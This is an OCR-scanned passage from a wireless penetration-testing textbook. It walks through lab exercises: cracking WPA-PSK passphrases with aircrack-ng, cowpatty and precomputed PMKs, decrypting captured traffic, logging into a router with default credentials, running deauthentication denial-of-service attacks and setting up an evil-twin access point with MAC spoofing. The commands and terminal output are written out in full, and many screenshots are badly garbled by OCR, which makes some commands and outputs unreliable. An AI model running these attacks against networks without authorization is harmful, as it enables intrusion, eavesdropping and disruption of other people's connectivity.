Master Key : O06 G1 ‘Fi ES BD Seach IA A 
il 5B D6 Fa El TABB./E SA 


Transient Key : 45 1C 51 BB E4 AS 2? 
5 FD 8a SH SF El 20. SE 10 
89 24 CF 68 BY BY SY 22 

31 8A 8A) 45 By? } Gil 


EAPOL HMAC : FS 6A 31 SU Ye /7 EC Sb |! 
root@kali:~# Jj 


root@kali: ~ =) [root@kali: ~/WEPCra.., 


To release input, press Ctri+Alt 





$ is ®@ root 


root@kali: ~/WEP Crack 


a = aa ia] Fae  &) F] 





9. Please note that, as this is a dictionary attack, the prerequisite is that the passphrase 
must be present in the dictionary file you are supplying to aircrack-ng. If the 
passphrase is not present in the dictionary, the attack will fail! 
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What just happened? 


We set up WPA-PSK on our access point with a common passphrase: abcdefgh. We then use 
a deauthentication attack to have legitimate clients reconnect to the access point. When we 
reconnect, we capture the four-way WPA handshake between the access point and the client. 


As WPA-PSK is vulnerable to a dictionary attack, we feed the capture file that contains the 
WPA four-way handshake and a list of common passphrases (in the form of a wordlist) to 
Aircrack-ng. As the passphrase abcdefgh is present in the wordlist, Aircrack-ng is 
able to crack the WPA-PSK shared passphrase. It is very important to note again that, in 
WPA dictionary-based cracking, you are just as good as the dictionary you have. Thus, it is 
important to compile a large and elaborate dictionary before you begin. Though BackTrack 
ships with its own dictionary, it may be insufficient at times and might need more words, 
especially taking into account the localization factor. 





Cowpatty is a tool that can also crack a WPA-PSK passphrase using a dictionary attack. 
This tool is included with BackTrack. | leave it as an exercise for you to use Cowpatty to 
crack the WPA-PSK passphrase. 


Also, set an uncommon passphrase that is not present in the dictionary and try 
the attack again. You will now be unsuccessful in cracking the passphrase with both 
Aircrack-ng and Cowpatty. 


It is important to note that the same attack applies even to a WPA2 PSK network. | encourage 
you to verify this independently. 


Speeding up WPA/WPA2 PSK cracking 


As we have already seen in the previous section, if we have the correct passphrase in our 
dictionary, cracking WPA-Personal will work every time like a charm. So, why don't we 
just create a large elaborate dictionary of millions of common passwords and phrases 
people use? This would help us a lot and most of the time, we would end up cracking the 
passphrase. It all sounds great but we are missing one key component here— the time 
taken. One of the more CPU and time-consuming calculations is that of the Pre-Shared 
key using the PSK passphrase and the SSID through the PBKDF2. This function hashes the 
combination of both over 4,096 times before outputting the 256-bit Pre-Shared key. The next 
step in cracking involves using this key along with parameters in the four-way handshake 
and verifying against the MIC in the handshake. This step is computationally inexpensive. 
Also, the parameters will vary in the handshake every time and hence, this step cannot be 
precomputed. Thus, to speed up the cracking process, we need to make the calculation of 
the Pre-Shared key from the passphrase as fast as possible. 
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We can speed this up by precalculating the Pre-Shared Key, also called the Pairwise Master 
Key (PMK) in 802.11 standard parlance. It is important to note that, as the SSID is also used 
to calculate the PMK, with the same passphrase and with a different SSID, we will end up 
with a different PMK. Thus, the PMK depends on both the passphrase and the SSID. 


In the next exercise, we will take a look at how to precalculate the PMK and use it for 
WPA/WPA2 PSK cracking. 


Time for action — speeding up the cracking process 


We can proceed with the following steps: 





1. Wecan precalculate the PMK for a given SSID and wordlist using the genpmk tool 
with the following command: 


genpmk -f <chosen wordlist>-d PMK-Wireless-Lab -s "Wireless Lab 


This creates the PMK-Wireless-Lab file containing the pregenerated PMK: 
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root@kali: ~ 
File Edit View Search Terminal Tabs Help 


 root@kali: ~ root@kali: ~ root@kali: ~/WEPCrack 
root@kali:-# genpmk -f /usr/share/wordLlists/nmap.Lst -d PMK-Wireless-Lab -s "Wireless Lab" 
genpmk 1.1 - WPA-PSK precomputation attack. <jwright@hasborg.com> 

File PMK-WireLess-Lab exists, appending new data. 

key no. 10060: pinkgirl 


1641 passphrases tested in 4.00 seconds: 410.09 passphrases/second 
root@kali:~# 


root@kali: ~ | froot@kali: ~/WEPCra... 








To release input, press Ctrl+Alt Ae x =S FES 
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We now create a WPA-PSK network with the passphrase abcdefgh (present in the 
dictionary we used) and capture a WPA-handshake for that network. We now use 
Cowpatty to crack the WPA passphrase, as shown in the following screenshot: 
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root@kali: ~ 
File Edit View Search Terminal Tabs Help 


root@@kali: ~ root@kali: ~ root@kali: ~/WEPCrack 
root@kali:-# cowpatty -d PMK-Wireless-Lab -s "Wireless Lab" -r WPACrackingDemo-03.cap 
cowpatty 4.6 - WPA-PSK dictionary attack. <jwright@hasborg.com> 


Collected all necessary data to mount crack against WPA?/PSK passphrase. 
starting dictionary attack. Please be patient. 


The PSK is "“abcdefgh". 


/31 passphrases tested in @.01 seconds: 1235427.33 passphrases/second 
root@kali:~# Jj 


root@kali: ~ =) [root@kali: ~/WEPCra.., 


To release input, press Ctri+Alt Gg sei eSF 





a: 


It takes approximately 7.18 seconds for Cowpatty to crack the key, using the 
precalculated PMKs. 


We now use aircrack-ng with the same dictionary file, and the cracking 
process takes over 22 minutes. This shows how much we are gaining because 
of the precalculation. 
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4, \norder to use these PMKs with aircrack-ng, we need to use a tool called 
airolib-ng. We will give it the options airolib-ng, PMK-Aircrack 
--import,and cowpatty PMK-Wireless-Lab, where PMK-Aircrack is the 
aircrack-ng compatible database to be created and PMK-Wireless-Lab is the 
genpmk compliant PMK database that we created previously. 

5. Wenow feed this database to aircrack-ng and the cracking process speeds up 
remarkably. We use the following command: 
aircrack-ng -r PMK-Aircrack WPACrackingDemo2-01.cap 

6. There are additional tools available on BackTrack such as Pyrit that can leverage 
multi CPU systems to speed up cracking. We give the pcap filename with the -r 
option and the genpmk compliant PMK file with the -i option. Even on the same 
system used with the previous tools, Pyrit takes around 3 seconds to crack the key, 
using the same PMK file created using genpmk. 

What just happened? 


We looked at various different tools and techniques to soeed up WPA/WPA2-PSK cracking. 
The whole idea is to pre-calculate the PMK for a given SSID and a list of passphrases in 
our dictionary. 


Decrypting WEP and WPA packets 


In all the exercises we have done till now, we cracked the WEP and WPA keys using various 
techniques. What do we do with this information? The first step is to decrypt data packets 
we have captured using these keys. 


In the next exercise, we will decrypt the WEP and WPA packets in the same trace file that we 
captured over the air, using the keys we cracked. 
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Time for action — decrypting WEP and WPA packets 





We can proceed with the following steps: 


1. Wewill decrypt packets from the WEP capture file we created earlier: 
WEPCrackingDemo- 01. cap. For this, we will use another tool in the Aircrack-ng 
suite called airdecap-ng. We will run the following command, as shown in the 
following screenshot, using the WEP key we cracked previously: 


airdecap-ng -w abcdefabcdefabcdefabcdef1l2 WEPCrackingDemo-02.cap 
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root@kali: ~/WEPCrack 
File Edit View Search Terminal Tabs Help 


root@kali: ~/WEPCrack root@kkali: ~ root@kali: ~/WEP Crack 

root@kali:~+/WEPCrack# airdecap-ng -w abcdefabcdefabcdefabcdefl? WEPCrackingDemo-@2.cap 
Total number of packets read 426553 

Total mumber of WEP data packets 2589/5 

Total number of WPA data packets G 

Number of plaintext data packets 1 

Number of decrypted WEP packets 254269 

Number of corrupted WEP packets G 

Number of decrypted WPA packets G 

root@kali:~/WEPCrack# Jj 


root@kali: ~/WEPCrack [| [root@kali; ~/WEPCra.., 
To grab input, press Ctrl+G So se teaesh 
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Ze 


aie 
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root@kali: 


To release input, 
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The decrypted files are stored in a file named WEPCrackingDemo-02-dec.cap. 
We use the tshark utility to view the first ten packets in the file. Please note that 
you may see something different based on what you captured: 
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wal 
ri 


File 


root@kali: ~/WEPCrack 


Edit View Search Terminal Tabs Help 


root@kali: ~/WEP Crack root@kali: ~/WEPCrack 


'~/WEPCrack# tshark -r WEPCrackingDemo -@2-dec.cap 
tshark: Lua: Error during Loading: 

[string "/usr/share/wireshark/init.lua’]:46: dofile has been disabled due to running Wiresh 
ark aS superuser. See http://wiki.wireshark.org/CaptureSetup/CapturePrivileges for help inr 
unning Wireshark as an unprivileged user. 

Running as user "root" and group "root". 
G feBG: :3ddb:b92/ :34279:4368 
G fesQ: :3sddb:b927 :3429:4368 
fes@: :3ddb:b927 :3429:4368 
TebO: :3ddb:b92/ :3429:4368 
fesbO: :3ddb:b92/ :3429:4368 


root@kalt: ~ root@kali: ~/WEP Crack 


ngerous. 
SSDP 208 
SSDP 208 
SsoDP 208 
SSDP 708 
LLMNR 84 


This could be da 
TiO22 ce 
ffO242i2¢c 
1 ae 
FPOAt ic 
TTO4 2 Tes 


M-SEARCH 
M-SEARCH 
M-SEARCH 
M-SEARCH 
Standard 


c * HTTP/1. 
* HTTP/1. 
* HTTP/1. 
HTTPS: 


query Ox2c39g 


901052 
./6/0368 
./ 72698 


981054 


+ 


A w 


A 


982078 
983642 


197 .168.1.100 -> 2374.6.60.25? 
feBG: :3ddb:b9?/ :3475 74368 | -> 


LLMNR 64 Standard query Ox2c39 wpoad 

Z WrOe a:b as LLMNR 84 Standard query Ox2c3s3 

pad 
8 985176 
9 2.64098 

G58/3c 
16 

G58/3c 
‘fea 


Aw 


1 : 


192.168.0.7 -> 274 0.0 .252 
192.168.1.1068 ->)255,.255 255 


LLMNR 64 Standard query @x2#c39 wpad 
.2595 DHCP 342 DHCP Inform - Transaction ID @xSd 


5 


2.004122 192.168.1.100 


-> 755.755.255.755 BHCP 34? DHCP Inform - Transaction ID @x9d 


2.009754 197.168.1.1. -> 197.168.1.186 DHCP 5906 BHCP ACK - Transaction ID @x9d058 


-/WEPCrack [-] [root@kali: ~/WEPCra... 


press CEri+Alc 


WPA/WPAZ2 PSK will work in exactly the same way as with WEP, using 
the airdecap-ng utility, as shown in the following screenshot, with the 
following command: 


airdecap-ng -p abdefg WPACrackingDemo-02.cap -e "Wireless Lab" 
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File Edit View Search Terminal Tabs Help 


root@kali: ~ 


root@kali: ~/WEP Crack rooat@kali: ~ root@kkali: ~/WEP Crack root@kali: ~ 

'-# airdecap-ng -p abcdefg WPACrackingDemo-O3.cap -e "Wireless Lab" 

Total number of packets read 2947/6 

Total number of WEP data packets 0 

Total number of WPA data packets 326 

Number of plaintext data packets 

Number of decrypted WEP packets 

Number of corrupted WEP packets 

Number of decrypted WPA packets 
i~# 


root@kkali: ~ >) [root@kali; ~/WEPCra.., 











To release input, press Ctri+Alt £3 eg 


What just happened? 


We just saw how we can decrypt WEP and WPA/WPA2-PSK encrypted packets using 
Airdecap-ng. It is interesting to note that we can do the same using Wireshark. We would 
encourage you to explore how this can be done by consulting the Wireshark documentation. 


We can also connect to the authorized network after we have cracked the network key. This 
can come in handy during penetration testing. Logging onto the authorized network with the 
cracked key is the ultimate proof you can provide to your client that his network is insecure. 
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Time for action — connecting to a WEP network 


We can proceed with the following steps: 





1. Use the iwconfig utility to connect to a WEP network, once you have the key. Ina 
past exercise, we broke the WEP key—abcdefabcdefabcdefabcdef12: 
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wa 


File Edit View Search Terminal Help 
root@kali:-# iwconfig wlan@ essid "Wireless Lab" key abcdefabcdefabcdefabcdefl2 
root@kali:~# 
root@kali:-~# iwconfig wlan@ 
wlang@ IEEE 862.11bgn ESSID: "Wireless lab" 
Mode:Managed Access Point: Not-Associated Tx-Power=26 dBm 
Retry short Limit:/ RTS thr:off Fragment thr:off 
Encryption key :ABCD-EFAB-CDEF-ABCD-EFAB-CDEF-12 
Power Management :off 


root@kali: ~ 


root@kali:-~# 


root@kali: ~ =) [root@kali: ~/WEPCra.., 


To release input, press Ctrl+Alt 





What just happened? 


We saw how to connect to a WEP network. 
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Time for action — connecting to a WPA network 


We can proceed with the following steps: 





1. Inthe case of WPA, the matter is a bit more complicated. The iwconfig utility 
cannot be used with WPA/WPA2 Personal and Enterprise, as it does not support 
it. We will use a new tool called WPA_supplicant for this lab. To use WPA _ 
supplicant for a network, we will need to create a configuration file, as shown 
in the following screenshot. We will name this file woa-supp. conf: 
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FT 


File Edit View Search Terminal Help 
GNU nano 2.2.6 File: wpa-supp.cont Modified 


root@kali: ~ 


# WPA-PSK/TKIP 


network={ 
ssid="Wireless Lab" 
key magmt=wPA -PSK 
proto=wPA 
pairwise=lKIP 
group=TKIP 
psk="abcdefgh" 


me WriteQut as Read File ay Page aa Cut Taxt mae Cur Pos 
an) Justify a) Where Is Jext Page ae Uncut Text gil To Spell 


root@kali: ~ >| [root@kali; ~/WEPCra.., 
To release input, press Ctri+Alt og =f ml io 3 








2. Wewill then invoke the WPA supplicant utility with the following options: 
-D wext -i wlanO -c wpa-supp.conf to connect to the WPA network we 
just cracked. Once the connection is successful, WPA_supplicant will give you the 
message: Connection to XXXX completed. 


3. For both the WEP and WPA networks, once you are connected, you can use 
dhcpclient to grab a DHCP address from the network by typing dhclient3 wlano. 
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What just happened? 


The default Wi-Fi utility iwconfig cannot be used to connect to WPA/WPA2 networks. 
The de-facto tool for this is WPA _Supplicant. In this lab, we saw how we can use it to 
connect to a WPA network. 





Pop quiz— WLAN encryption flaws 


Q1. What packets are used for Packet Replay? 


1. Deauthentication packet. 
2. Associated packet. 

3. Encrypted ARP packet. 
4. 


None of the above. 
Q2. When can WEP be cracked? 


1. Always. 

2. Only if a weak key/passphrase is chosen. 
3. Under special circumstances only. 
4. 


Only if the access point runs old software. 
Q3. When can WPA be cracked? 


1. Always. 

2. Only if a weak key/passphrase is chosen. 
3. If the client contains old firmware. 
4 


Even with no client connected to the wireless network. 


Summary 


In this chapter, we learnt about WLAN encryption. WEP is flawed and no matter what 
the WEP key is, with enough data packet samples: it is always possible to crack WEP. 
WPA/WPA2 is cryptographically un-crackable currently; however, under special 
circumstances, such as when a weak passphrase is chosen in WPA/WPA2-PSK, 

it is possible to retrieve the passphrase using dictionary attacks. 


In the next chapter, we will take a look at different attacks on the WLAN infrastructure, 
such as rogue access points, evil twins, bit-flipping attacks, and so on. 





Attacks on the WLAN Infrastructure 


"Thus, what is of supreme importance in war is to attack the enemy's strategy" 


Sun Tzu, Art of War 


In this chapter, we will attack the WLAN infrastructure's core! We will focus on 
how we can penetrate into the authorized network using various new attack 
vectors and lure authorized clients to connect to us, as an attacker. 


The WLAN infrastructure is what provides wireless services to all the WLAN clients in a 
system. In this chapter, we will take a look at the various attacks that can be conducted 
against the infrastructure: 

Default accounts and credentials on the access point 

Denial of service attacks 


Evil twin and access point MAC spoofing 
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Rogue access points 


WLAN access points are the core building blocks of the infrastructure. Even though they play 
such an important role, they are sometimes the most neglected in terms of security. In this 
exercise, we will check whether the default passwords have been changed on the access 
point or not. Then, we will go on to verify that, even if the passwords have been changed, 
they are still easy to guess and crack using a dictionary-based attack. 
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It is important to note that, as we move on to more advanced chapters, it will be assumed 
that you have gone through the previous chapters and are now familiar with the use of 

all the tools discussed there. This will allow us to build on that knowledge and try more 
complicated attacks! 


Time for action — cracking default accounts on the access 


Follow these instructions to get started: 





1. Let's first connect to our access point Wireless Lab and attempt to navigate to 
the HTTP management interface. We see that the access point model is TP-Link 
WR841N, as shown in the following screenshot: 


Authentication Required 


The server http://192.168.1,.1:80 requires a username and 
password. The server says: TP-LINE Wireless N Router 
WRE411N. 

User Name: 


Password: 


Log In Cancel 





2. Fromthe manufacturer's website, we find the default account credentials for 
admin are admin. We try this on the login page and we succeed in logging in. 
This shows how easy it is to break into accounts with default credentials. We highly 
encourage you to obtain the router's user manual online. This will allow you to 
understand what you are dealing with during the penetration test and gives you 
an insight into other configuration flaws you could check for: 
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TP-LINK’ 


Status 

Quick Setup 

WPS 

Network 

Wireless 

DHCP 

Forwarding 
Security 

Parental Control 
Access Control 
vir litem ace iitiile, 
Bandwidth Control 
IP & MAC Binding 
Dynamic DNS 


System Tools 


Firmware Version: 


Hardware Version: 


MAC Address: 
IP Address: 
Subnet Mask: 


Wireless 


Wireless Radio: 
Name (SSID): 
Mode: 

Channel Width: 
Channel: 

MAC Address: 
WDS Status: 


MAC Address: 
IP Address: 
Subnet Mask: 


What just happened? 


We verified that the default credentials were never changed on this access point, and this 
could lead to a full network compromise. Also, even if the default credentials are changed, 
the result should not be something that is easy to guess or run a simple dictionary-based 


attack on. 


3.14.4 Build 131129 Rel.39318n 
WR841N v9 00000000 


E8-94-F6-62-1E-8E 
192.168.1.1 
255.255.255.0 


Enable 
TP-LINK_627E8E 

11bgn mixed 

Automatic 

Auto (Current channel 8) 
E8-94-F6-62-1E-8E 


Disable 


E8-94-F6-62-1E-8F 
192.168.0.13 
255.255.255.0 
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Dynamic IP 





Have a go hero — cracking accounts using brute-force attacks 


In the previous exercise, change the password to something that is hard to guess or find in 
a dictionary and see whether you can crack it using a brute-force approach. Limit the length 
and characters in the password so that you can succeed at some point. One of the most 
common tools used to crack HTTP authentication is called Hydra and is available on Kali. 


Attacks on the WLAN Infrastructure 


WLANs are prone to Denial of Service (DoS) attacks using various techniques, including but 
not limited to: 





deauthentication attack 
Disassociation attack 
CTS-RTS attack 
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Signal interference or spectrum jamming attack 


In the scope of this book, we will discuss deauthentication attacks on the Wireless LAN 
infrastructure using the following experiment: 


Time for action — deauthentication DoS attacks 


Follow these instructions to get started: 





1. Let's configure the Wireless Lab network to use Open Authentication and no 
encryption. This will allow us to see the packets using Wireshark easily: 





TP-LINK’ 


Status 


Quick Setup a Wireless Security 
WPS 
Network : ‘ 
ee e Disable Security 
Wireless 
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2. Let's connect a Windows client to the access point. We will see the connection in 
the airodump-ng screen: 


> & e) 






Kali Linux 32-bit - VMware Player (Non-commercial use only) 
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- root@kali: ~ 


fem file Edit View Search Terminal Help 


CH 11 J[{ Elapsed: 4 s ][ 2014-10-07 15:25 
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 


E8:94:F6:62:1E: -51 0 0 0 6 54e. OPN Wireless Lab 
9C:D3:6D:2A:/B: -42 i 6 Q 11 54e WPA2 CCMP PSK everythingwill 


STATION PWR Rate Lost Frames Probe 


*F6:62:°1E: 80:1F:02:8F:34:D5 0 24 Wireless Lab 
°6D:2A:7B: 20:10:7A:45:36:61 -71 é 6 


root@kali: ~ 


To release input, press Ctri+Alt 
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Applicati 
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Now, on the attacker machine, let's run a directed deauthentication attack 
against this: 
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root@kali: ~ 


root@kali: ~ root@kali: ~ 


i~# alreplay-ng -@.5 -a E8:94:F6:62:1E:8E --ignore-negative-one mond 
24:44 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1 
this attack is more effective when targeting 
onnected wireless client [(-c <client's mac=). 


724:46 Sending DeAuth to broadcast -- BSSID: *94:F6:67:1E:8E] 
2:24:46 Sending DeAuth to broadcast BSSID: *94:F6:67:1E:8E] 
2:24:47 Sending DeAuth to broadcast BSSID: -94:F6:627:1E:8E] 
(24:47 Sending DeAuth to broadcast BSSID: 8:94:F6:62:1E:8E] 
2:24:47 Sending DeAuth to broadcast BSSID: -94:F6:62:1E:8E] 


ae | 


root@kali: ~ 
To grab input, press Ctrl+G 
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4. Note how the client gets disconnected from the access point completely. We can 
verify this on the airodump-ng screen as well: 
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root@kali: ~ 
File Edit View Search Terminal Help 
Elapsed: 4 s ][ 2014-160-@/ 15:79 
PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 
06:08:38: /C: -95 ? G Q 5 oe WPA? CCMP PSK Downstairs 
E8:94:F6:627:1E: -49 : 3 0G) 6 54e. OPN Wireless Lab 
9C :D3:6D:2A:/6: -/3 1 @ 11 54e WPA2 CCMP PSK everythingwill 
BSSID STATION IR Rate ele Frames Probe 


§C:D3:60:74:768:CQ 270:10:/7A:45:36:61 
9C:03:60:2A:/B: 70:18:88:08:4/7:66 


ietsh a(t ¢-] 0 ie 


To release input, press Ctri+Alk 





—_T!_.,_W—_!_—+#]_———— [97] 


Attacks on the WLAN Infrastructure 


5. \f we use Wireshark to see the traffic, you will notice a lot of deauthentication 
packets over the air that we just sent: 


Capturing from monO [Wireshark 1.10.6 (v1.10.6 From master-1.10)] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 





Filter: ~ | Expression... Clear Apply Save 

No. Time Source Destination Protocol Lengtt Info 
27834 499.23833606 Tp-LinkT 62:le:8e Broadcast 802.11 52 Deauthenti 
27835 499.24721106 Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27836 499.30009406 Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27837 499.30448706 Tp-LinkT 62:le:8e Broadcast 802.11 52 Deauthenti 
27638 499.31687006 Netgear 2a:7b:cO Broadcast 602.11 293 Beacon fra 
27839 499.31/03706 Netgear 40:c@:a/ Broadcast 662.11 124 Data, SN=1 
27840 499.3700000€ Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27841 499.3766570€ Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27842 499.39659106 Tp-LinkT 62:1le:8e Broadcast 602.11 52 Deauthenti 
27843 499.40761706 Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27844 499.4192700€ Netgear 2a:7b:cQ Broadcast 802.11 293 Beacon fra 
27845 499.45302706€ Tp-LinkT 62:1le:8e Broadcast 802.11 52 Deauthenti 
27846 499.4594870€ Tp-LinkT 62:le:8e Broadcast 802.11 52 Deauthenti 
27847 499.5216980€ Netgear 2a:7b:cO Broadcast 802.11 293 Beacon fra 
27848 499.6241050€ Netgear 2a:7b:cO Broadcast 802.11 293 Beacon fra 

6908 O80 88 la 00 2f 48 88 08 bd 10 cl 1b 2c 08 OO OO seaafAs sean paca 

8818 62 18 Se 69 ch 88 ch 88 688 60 30 88 88 BO TPF TT cases eee ees 

60760 Tf ff ff ff 9c d3 Gd 2a 7b cO 9c d3 Gd 2a 7b cH ...... m* {...m*¥{. 

6838 40 ec 80 11 cl 1b 2c 88 808 08 64 0011 84 OB lf @..... ps 44h eees 

@ (= mono: <live capture in progress... Packets: 27848 - Dis... Profile: Default 





6. Wecando the same attack by sending a Broadcast deauthentication packet on 
behalf of the access point to the entire wireless network. This will have the effect 
of disconnecting all connected clients: 
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root@kali: ~ 
1 File Edit View Search Terminal Tabs Help 


root@@kali: ~ root@@kali: ~ rooti@kali: ~ 
i~“# alreplay-ng -@ @ -@ E8:94:Fe:62:1E:8E --ignore-negative-one mond 

15:46:43 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1l 
NB: this attack is more effective when targeting 

a connected wireless client [-c <client's mac=). 

15:46:50 Sending DeAuth to broadcast -- BSSID: [E8:94:F6:62:: 

15:46:50 Sending DeAuth to broadcast BSSID: [E8:94:F6:6?: 

15:46:51 Sending DeAuth to broadcast BSSID: [E8:94:F6:6?:) 

15:46:54 Sending DeAuth to broadcast BSSID: [E8:94:F6:67?:: 


15:46:55 Sending DeAuth to broadcast BSSID: [E8:94:F6:62?:! 
15:46:55 Sending DeAuth to broadcast BSSID: [E8:94:F6:62:: 
S 


15:46: ending DeAuth to broadcast HSSI0; [E@:S47F6 762.7: 
15:46: Sending DeAuth to broadcast Basel Dee(EbsS4:F6:62:- 


root@kali: ~ 


To release input, press Ctrl+Alt 








What just happened? 


We successfully sent deauthentication frames to both the access point and the client. This 
resulted in them getting disconnected and a full loss of communication between them. 


We also sent out Broadcast deauthentication packets, which will ensure that no client in 
the vicinity can successfully connect to our access point. 


It is important to note that, as soon as the client is disconnected, it will try to connect back 
once again to the access point, and thus the deauthentication attack has to be carried out 
in a sustained way to have a full denial of service effect. 


Attacks on the WLAN Infrastructure 


This is one of the easiest attacks to orchestrate but has the most devastating effect. This can 
easily be used in the real world to bring a wireless network down on its knees. 





Try to check how you can conduct Dis-Association attacks against the infrastructure using 
tools available on Kali. Can you do a broadcast disassociation attack? 


One of the most potent attacks on WLAN infrastructures is the evil twin. The idea is to 
basically introduce an attacker-controlled access point in the vicinity of the WLAN network. 
This access point will advertise the exact same SSID as the authorized WLAN network. 


Many wireless users may accidently connect to this malicious access point, thinking it is part 
of the authorized network. Once a connection is established, the attacker can orchestrate a 
man-in-the-middle attack and transparently relay traffic while eavesdropping on the entire 
communication. We will take a look at how a man-in-the-middle attack is done in a later 
chapter. In the real world, an attacker would ideally use this attack close to the authorized 
network so that the user gets confused and accidently connects to the attacker's network. 


An evil twin having the same MAC address as an authorized access point is even more 
difficult to detect and deter. This is where access point MAC Spoofing comes in! In the next 
experiment, we will take a look at how to create an evil twin, coupled with access point 
MAC spoofing. 
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Time for action — evil twins and MAC spoofing 


Follow these instructions to get started: 





1. Use airodump-ng to locate the access point's BSSID and ESSID, which we would 
like to emulate in the evil twin: 


"© Kali Linux 32-bit - VMware Player (Non-commercial use only) 






Applications Places ¢ Tue 7 Oct, 15:29 


root@kali: ~ 

File Edit View Search Terminal Help 
CH 1 ][ Elapsed: 4 5s ][ 2014-10-07 15:79 
BSSID PWR Beacons #Data, #/s C hal ENC CIPHER AUTH ESSID 
00:08:3B:7C: -95 Z E 0 6 6454 WPA? CCMP PSK Downstairs 
E8:94:F6:67:1E: -49 Z ¢ GQ) 6 54e. OPN Wireless Lab 
SC :D3:60:7A:/B: -73 : thes GH 11 5S54e WPA? CCMP PSK everythingwill 

STATION Rate eae Frames Probe 


20:160:/74:45:36:61 
70:18:88:08:4/7:66 


root@kali: ~ 


To release input, press Ctri+Alt 
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2.  Weconnect a Wireless client to this access point: 






Kali Linux 32-bit - VMware Player (Non-commercial use only) 
Applications Places ¢ BS] Tue 7 Oct, 15:45 


root@kali: ~ 
| File Edit View Search Terminal Tabs Help 
root(@@kali; ~ root@kali: ~ 
6 ][ Elapsed: 4 s ][ 2014-10-07 15745 
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 
OG :0B6:368:/C:D6: -95 é 0 G 6 54 £WPA2 CCMP PSK Downstairs 
AA?AA:AA:AA:AA:AA G G GO ll 54 OPN Wireless Lab 
E8:94:F6:62:1E: 1°) ; G G 6 54e. OPN Wireless Lab 
BSSID STATION PWR Rate Lost Frames Probe 


E8:94:F6:67:1E: BGO:1F:02:8F:34:D5 i] G - J : ?/ Wireless Lab 


root@kali: ~ 


To release input, press Ctrl+Alt 
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3. Using this information, we create a new access point with the same ESSID but a 
different BSSID and MAC address using the airbase-ng command. Minor errors 
may occur with newer releases: 






Kali Linux 32-bit - VMware Player (Non-commercial use only) 






Applications Places ¢ Tue 7 Oct, 15:56 


root@kali: ~ 


File Edit View Search Terminal Help 
'~# airbase-ng --essid Rogue -c 11 mon@ 
15:56:06 Created tap interface at0 
15:56:06 Trying to set MTU on at® to 1560 
15:56:06 Access Point with BSSID 80:1F:02:8F:34:D5 started. 
Error: Got channel -1l, expected a value = @. 


root@kkali: ~ 


To release input, press Ctri+Alt eB | 
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4, This new access point also shows up in the airodump-ng screen.. It is important to 
note that you will need to run airodump-ng in a new window with the following 
command: 


airodump-ng --channel 11 wlan0d 


Let's see this new access point: 


Kali Linux 32-bit - VMware Player (Non-commercial use only) 


Applications Places ¢ e] Tue 7 Oct, 15:49 


ia root@kali: ~ 


ME File Edit View Search Terminal Tabs Help 
root@kali: ~ root@kali: ~ root@kalt: ~ 
CH 10 ][ Elapsed: 1 min ][ 2014-10-07 15:49 
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 


AA:AA [AAS AA?AA Q) o7/ ( B ir 54 OPN Wireless Lab 
SC :D3 -ZA:/B:CQ -/3 19 ae ee el = | | PSK everythingwill 
GO:GB:3B:7C:DG:8D -95 ral : i) 6 54 WPA?2 CCMP PSK Downstairs 

B08 :77 -67:6D: -] GQ) ‘ G) ? -l <Length: > 


BSSID STATION Rate Lost Frames Probe 


(not associated) 80:1F:02:8F: A CG) : 176 Wireless Lab 

(not associated) @O:BB:3A: a: : : 4 Upstairs 
9C:D3:60:2A:/B:CQ /0:18:86:08:4/7:66 ; Je- 0 ‘ 2 

9C:03:6D0D:2A:/B:CO O006:26:5A:FE:04:DI g 5 3 everythingwillprobab 
SC:03:6D:27A:/8:CO 6C:7/:1AE fg J@r Ml ° 

O00:27:60:67:60:08 E@:CB:1D v2 , # 2 


melena(al] 4-105 


To release input, press Ctrl+Alt 
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5. Now wesend a deauthentication frame to the client, so it disconnects and 
immediately tries to reconnect: 


"© Kali Linux 32-bit - VMware Player (Non-commercial use only) 






Applications Places ¢ Tue 7 Oct, 15:46 


root@kali: ~ 


File Edit View Search Terminal Tabs Help 


root@@kali: ~ root@@kali: ~ roott@kali: ~ 
i~“# alreplay-ng -@ 0 -@ E8:94:Fe:62:1E:8E --ignore-negative-one mond 

15:46:43 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1l 
NB: this attack is more effective when targeting 

a connected wireless client [-c <client's mac=). 

15:46:58 Sending DeAuth to broadcast BSSID: [E8:94:F6:67:: 

15:46:50 Sending DeAuth to broadcast BSSID: [E8:94:F6:6?: 

15:46:51 Sending DeAuth to broadcast BSSID: [E8:94:F6:6?:) 

15:46:54 Sending DeAuth to broadcast BSSID: [E8:94:F6:67?:: 

15:46:55 Sending DeAuth to broadcast BSSID: [E8:94:F6:62?:! 

15:46:55 Sending DeAuth to broadcast BSSID: [EB:94:F6:62:: 

15:46: sending DeAuth to broadcast BSSID: [E8:94:F6:62?:: 

15:46: sending DeAuth to broadcast BSSID: [E8:94:F6:67:: 


root@kali: ~ 
To release input, press Ctri+Alt | = 8 ie fF 





6. As weare closer to this client, our signal strength is higher, and it connects to our 
evil twin access point. 


7. \Necanalso spoof the BSSD and MAC address of the access point using the following 
command: 


airbase-ng -a <router mac> --essid "Wireless Lab" -c 11 mono 
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8. Nowif we look at through airodump-ng, it is almost impossible to differentiate 
between both visually: 


© © Kali Linux 32-bit - VMware Player (Non-commercial use only) 





Applications Places ¢ Tue 7 Oct, 15:55 


ia root@kali: ~ 


aS File Edit View Search Terminal Tabs Help 


root@kali: ~ root@kali: ~ root@kali: ~ 


CH 13 ][ Elapsed: 6 mins ][ 2014-10-07 15:55 
BSSID PWR Beacons #Data, #/'s MB ENC CIPHER AUTH ESSID 


-94 -1E:8E Gi 306 Gi B it 54 OPN Wireless Lab 
30:22 °-6D:08 zal G G G ee! <lLength: > 
9C:D3 -2A:7B:CQ -75 141 349 11 11 54e WPA2 CCMP PSK everythingwill 
